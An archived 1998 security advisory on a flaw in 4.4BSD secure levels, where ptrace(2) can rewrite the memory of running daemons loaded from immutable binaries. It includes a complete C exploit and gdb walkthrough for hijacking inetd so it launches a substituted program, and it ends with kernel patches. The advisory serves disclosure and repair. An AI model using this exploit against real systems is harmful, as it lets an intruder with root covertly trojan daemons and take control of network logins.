The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


Vulnerability in 4.4BSD Secure Levels Implementation


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Wed, 10 Jun 1998 22:50:35 +0100
From: Niall Smart <njs3@DOC.IC.AC.UK.>
To: [email protected]
Subject: Vulnerability in 4.4BSD Secure Levels Implementation

        Vulnerability in 4.4BSD Secure Levels Implementation


Synopsis
========

4.4BSD introduced the concept of "secure levels" which are intended to
allow the system administrator to protect the kernel and system files from
modification by intruders.  When the system is running in secure mode file
flags can be used to indicate that anyone, even the superuser, should
be prevented from deleting or modifying the file, or that write access
should be restricted to append-only.  In addition device files such as
/dev/kmem and those for disk devices are only available for read access.

This protection is not intended to prevent system compromise, but
instead is a damage limitation measure -- by preventing intruders who
have compromised the root account from deleting logs of the intrusion
or planting "trojan horses" their ability to hide their presence on the
system or covertly gather sensitive information is reduced.

We have discovered a vulnerability in all current implementations of
secure levels which allow an intruder to modify the memory image of
running processes, thereby bypassing the protection applied to system
binaries and their configuration files.  The vulnerability cannot be
exploited to modify the init process, kernel memory or the protected
files themselves.


Details
=======

The ptrace(2) system call can be used to modify the memory image of
another process.  It is typically used by debuggers and other similar
utilities.  Due to inadequate checking, it is possible to use ptrace(2)
to modify the memory image of processes which have been loaded from a
file which has the immutable flags set.  As mentioned,  this does not
apply to the init process.

This vulnerability is significant in that it allows an intruder to
covertly modify running processes.  The correct behaviour is to make
the address space of these processes immutable.  Although an intruder
can still kill them and start others in their place, the death of system
daemons will (should) draw attention on secure systems.

An example exploit and patches are appended.


Niall Smart, [email protected].
cstone, [email protected].



Exploit
=======

There are a variety of daemons which an intruder would wish to trojan,
inetd being one of the most obvious.  Once the intruder controls inetd,
any network logins handled by daemons started by inetd are completely
under the control of the intruder.  Other important daemons which are
likely to be attacked include sshd, crond, syslogd, and getty.

Here we present sample code which shows how to use ptrace(2) to attach to
and control a running inetd and so that it starts daemons which we choose
instead of those specified in inetd.conf.  For the sake of explanation
we will use the FreeBSD version of inetd compiled with debugging symbols.

If you look at the inetd source you will see that it uses an array of
struct servtab which represents the services specified in inetd.conf.
The se_server member of struct servtab specifies the path to the server
which handles requests for the service.  When inetd accepts a new
connection it searches this array for the appropriate entry, stores a
pointer to the entry in the variable sep and then forks, the child then
fiddles with file descriptors and execs the server.

The fork happens on line 490 of inetd.c, we insert a breakpoint at this
instruction and when we hit it modify the se_server member of the struct
servtab which sep points to.  We then insert another breakpoint later
in the code which only the parent process will execute and continue,
when we hit that breakpoint we change the se_server back to what it was.
Meanwhile, the child process continues and executes whatever server we
have told it to.

# gdb --quiet ./inetd
(gdb) list 489,491
489                                 }
490                                 pid = fork();
491                         }
(gdb) break 490
Breakpoint 2 at 0x1f76: file inetd.c, line 490.
(gdb) p &sep
Address requested for identifier "sep" which is in a register.
(gdb) p sep
$1 = (struct servtab *) 0x1
(gdb) info reg
eax            0x0      0
ecx            0xefbfda50       -272639408
edx            0x2008bf48       537444168
ebx            0xefbfda90       -272639344
esp            0xefbfd968       0xefbfd968
ebp            0xefbfda68       0xefbfda68
esi            0x1      1
edi            0x0      0
eip            0x1914   0x1914
eflags         0x246    582
cs             0x1f     31
ss             0x27     39
ds             0x27     39
es             0x27     39
(gdb)

So, the first breakpoint address is at 0x1F76, and the sep variable
has been placed in the register %esi which makes writing the exploit
a bit easier.  After the fork we want to stop the parent process only,
inserting a breakpoint at line 502 will achieve that:

(gdb) list 501,503
501                         if (pid)
502                             addchild(sep, pid);
503                         sigsetmask(0L);
(gdb) break 502
Breakpoint 1 at 0x1fc8: file inetd.c, line 502.

Line 502 corresponds to the instruction at 0x1FC8.  Finally, we will need
some unused memory to write in the string for our replacement daemon,  for
this we can simply overwrite the code that performs the option processing:

(gdb) break 325
Breakpoint 2 at 0x1a9a: file inetd.c, line 325.

We take 64 bytes from 0x1A9A.  Here is the exploit, the first three
arguments specify the first and second breakpoints and the address of
the spare memory and the last is the pid of the inetd to attach to.

[ Note to script kiddies: you need root on the system first ]

#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <machine/reg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <errno.h>
#include <unistd.h>

#if defined(__FreeBSD__)
#define SE_SERVER_OFF 44
#elsif defined(__OpenBSD__)
#define SE_SERVER_OFF 48
#endif

#define INSN_TRAP       0xCC

#define ARRSIZE(x)      (sizeof(x) / sizeof((x)[0]))

#define Ptrace(req, pid, addr, data) _Ptrace(req, #req, pid, (caddr_t) addr, data)

void sig_handler(int unused);

sig_atomic_t    finish = 0;
int             pid;


int _Ptrace(int req, const char* reqname, pid_t pid, caddr_t addr, int data)
{
        int     ret = ptrace(req, pid, addr, data);

        if (ret < 0 && errno != 0) {
                fprintf(stderr, "ptrace %s: %s\n", reqname, strerror(errno));
                exit(EXIT_FAILURE);
        }

        /* this shouldn't be necessary */

        #ifdef __FreeBSD__
        if (req == PT_DETACH)
                kill(pid, SIGCONT);
        #endif

        return ret;
}


void
sig_handler(int unused)
{
        /* we send the child a hopelessly harmful signal to break outselves
         * out of ptrace */

        finish = 1;
        kill(pid, SIGINFO);
}


struct replace {
        char*   old;
        char*   new;
};


int
main(int argc, char** argv)
{
        struct reg      regs;
        int             insn;
        int             svinsn;
        caddr_t         breakaddr;
        caddr_t         oldaddr;
        caddr_t         spareaddr;
        caddr_t         addr;
        caddr_t         nextaddr;
        caddr_t         contaddr;
        char            buf[64];
        char*           ptr;
        struct replace* rep;
        struct replace  replace[] = { { "/bin/cat",   "/bin/echo" } };

        if (argc != 5) {
                fprintf(stderr, "usage: %s <breakaddr> <nextaddr> <spareaddr> <pid>\n", argv[0]);
                exit(EXIT_FAILURE);
        }

        breakaddr = (caddr_t) strtoul(argv[1], 0, 0);
        nextaddr = (caddr_t) strtoul(argv[2], 0, 0);
        spareaddr = (caddr_t) strtoul(argv[3], 0, 0);
        pid = atoi(argv[4]);

        signal(SIGINT, sig_handler);
        signal(SIGTERM, sig_handler);
        signal(SIGQUIT, sig_handler);

        /*
         * attach her up
         */
        Ptrace(PT_ATTACH, pid, 0, 0);
        wait(0);

        Ptrace(PT_GETREGS, pid, &regs, 0);

        printf("%%esp = %#x\n", regs.r_esp);
        printf("%%ebp = %#x\n", regs.r_ebp);
        printf("%%eip = %#x\n", regs.r_eip);

        contaddr = (caddr_t) 1;

        while (1) {

                /*
                 * replace the lowest byte of the dw at the specified address
                 * with a breakpoint insn
                 */
                svinsn = Ptrace(PT_READ_D, pid, breakaddr, 0);
                insn = (svinsn & ~0xFF) | INSN_TRAP;
                Ptrace(PT_WRITE_D, pid, breakaddr, insn);

                printf("%x ==> %x @ %#x\n", svinsn, insn, (int) breakaddr);

                /* continue till we hit the breakpoint */

                Ptrace(PT_CONTINUE, pid, contaddr, 0);

                do {
                        /* FreeBSD reports signals twice, it shouldn't do that */

                        int             sig;
                        int             status;

                        wait(&status);

                        sig = WSTOPSIG(status);

                        printf("process received signal %d (%s)\n", sig, sys_siglist[sig]);

                        if (finish)
                                goto detach;

                        if (sig == SIGTRAP)
                                break;

                        Ptrace(PT_CONTINUE, pid, 1, WSTOPSIG(status));

                } while(1);

                Ptrace(PT_GETREGS, pid, &regs, 0);
                printf("hit breakpoint at %#x\n", (int) regs.r_eip - 1);

                /* copy out the pathname of the daemon it's trying to run */

                oldaddr = (caddr_t) Ptrace(PT_READ_D, pid, regs.r_esi + SE_SERVER_OFF, 0);

                for (ptr = buf, addr = oldaddr; ptr < &buf[ARRSIZE(buf)]; ptr += 4, addr += 4)
                        *(int*)ptr = Ptrace(PT_READ_D, pid, addr, 0);

                printf("daemon path ==> %s @ %#x\n", buf, (int)oldaddr);

                /* check if we want to substitute our own */

                for (rep = replace; rep < &replace[ARRSIZE(replace)] || (rep = 0); rep++)
                        if (!strcmp(rep->old, buf)) {
                                printf("%s ==> %s\n", rep->old, rep->new);
                                break;
                        }

                /* copy the substitute pathname to some unused location */

                if (rep != 0) {
                        strcpy(buf, rep->new);
                        for (ptr = buf, addr = spareaddr; ptr < &buf[sizeof(buf)]; ptr += 4, addr += 4)
                                Ptrace(PT_WRITE_D, pid, addr, *(int*)ptr);

                        Ptrace(PT_WRITE_D, pid, regs.r_esi + SE_SERVER_OFF, (int) spareaddr);
                }

                /*
                 * replace the original instruction, set a breakpoint on the next
                 * instruction we want to break in and then reset the daemon path,
                 * and remove the last breakpoint.  We could just single step over
                 * the for syscall but all the crap involved in calling a fn in a
                 * dll makes it easier to just to set a breakpoint on the next
                 * instruction and wait till we hit that
                 */

                Ptrace(PT_WRITE_D, pid, breakaddr, svinsn);

                svinsn = Ptrace(PT_READ_D, pid, nextaddr, 0);
                insn = (svinsn & ~0xFF) | INSN_TRAP;
                Ptrace(PT_WRITE_D, pid, nextaddr, insn);

                Ptrace(PT_CONTINUE, pid, breakaddr, 0);
                wait(0);

                Ptrace(PT_GETREGS, pid, &regs, 0);
                printf("stepped instruction to %#x\n", regs.r_eip);

                Ptrace(PT_WRITE_D, pid, nextaddr, svinsn);
                contaddr = nextaddr;

                /* put back the original path */
                if (rep != 0)
                        Ptrace(PT_WRITE_D, pid, regs.r_esi + SE_SERVER_OFF, (int) oldaddr);


        }

detach:
        printf("detaching\n");
        Ptrace(PT_WRITE_D, pid, breakaddr, svinsn);
        Ptrace(PT_DETACH, pid, 1, 0);

        return 0;
}


So, lets try it out:

# cat inetd.conf
afs3-fileserver stream  tcp     nowait  root   /bin/cat cat /root/inetd.conf
# telnet localhost 7000
Trying 127.0.0.1...
Connected to localhost
Escape character is '^]'.
afs3-fileserver stream  tcp     nowait  root   /bin/cat cat /root/inetd.conf
Connection closed by foreign host.
# ps -aux | grep inetd
root    1233  0.0  0.9   204  556  ??  SXs  11:41AM    0:00.02 ./inetd /root/inetd.conf
# ./ptrace 0x1F76 0x1FC8 0x1A9A 1233 >/dev/null 2>&1 &
[1] 1267
# telnet localhost 7000
Trying 127.0.0.1...
Connected to localhost
Escape character is '^]'.
/root/inetd.conf
Connection closed by foreign host.
#


Affected
========

BSD/OS, FreeBSD, NetBSD, OpenBSD.


Patches
=======

OpenBSD patched this problem yesterday.  The following patches apply to
FreeBSD-current and will apply to FreeBSD-stable with some tweaking of
the line numbers.

--- kern/sys_process.c  Mon Jun  8 11:47:03 1998
+ kern/sys_process.c  Mon Jun  8 11:49:53 1998
@@ -37,6 +37,7 @@
 #include <sys/proc.h>
 #include <sys/vnode.h>
 #include <sys/ptrace.h>
+#include <sys/stat.h>

 #include <machine/reg.h>
 #include <vm/vm.h>
@@ -208,6 +209,7 @@
        struct proc *p;
        struct iovec iov;
        struct uio uio;
+       struct vattr va;
        int error = 0;
        int write;
        int s;
@@ -246,6 +248,11 @@
                /* can't trace init when securelevel > 0 */
                if (securelevel > 0 && p->p_pid == 1)
                        return EPERM;
+
+               if((error = VOP_GETATTR(p->p_textvp, &va, p->p_ucred, p)) != 0)
+                       return(error);
+               if(va.va_flags & (IMMUTABLE|NOUNLINK))
+                       return(EPERM);

                /* OK */
                break;


--- kern/kern_exec.c    Sun Jun  7 17:23:14 1998
+ kern/kern_exec.c    Tue Jun  9 14:08:10 1998
@@ -655,6 +655,8 @@
        error = VOP_GETATTR(vp, attr, p->p_ucred, p);
        if (error)
                return (error);
+       if((p->p_flag & P_TRACED) && (attr.va_flags & (IMMUTABLE|NOUNLINK)))
+               return (EACCES);

        /*
         * 1) Check if file execution is disabled for the filesystem that this
--- miscfs/procfs/procfs_vnops.c        Tue May 19 09:15:00 1998
+ miscfs/procfs/procfs_vnops.c        Wed Jun 10 16:23:33 1998
@@ -129,6 +129,8 @@
 {
        struct pfsnode *pfs = VTOPFS(ap->a_vp);
        struct proc *p1, *p2;
+       int error;
+       struct vattr va;

        p2 = PFIND(pfs->pfs_pid);
        if (p2 == NULL)
@@ -144,6 +146,12 @@
                if (!CHECKIO(p1, p2) &&
                    !procfs_kmemaccess(p1))
                        return (EPERM);
+
+               error = VOP_GETATTR(p2->p_textvp, &va, p1->p_ucred, p1);
+               if(error)
+                       return(error);
+               if(va.va_flags & IMMUTABLE)
+                       return(EPERM);

                if (ap->a_mode & FWRITE)
                        pfs->pfs_flags = ap->a_mode & (FWRITE|O_EXCL);

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру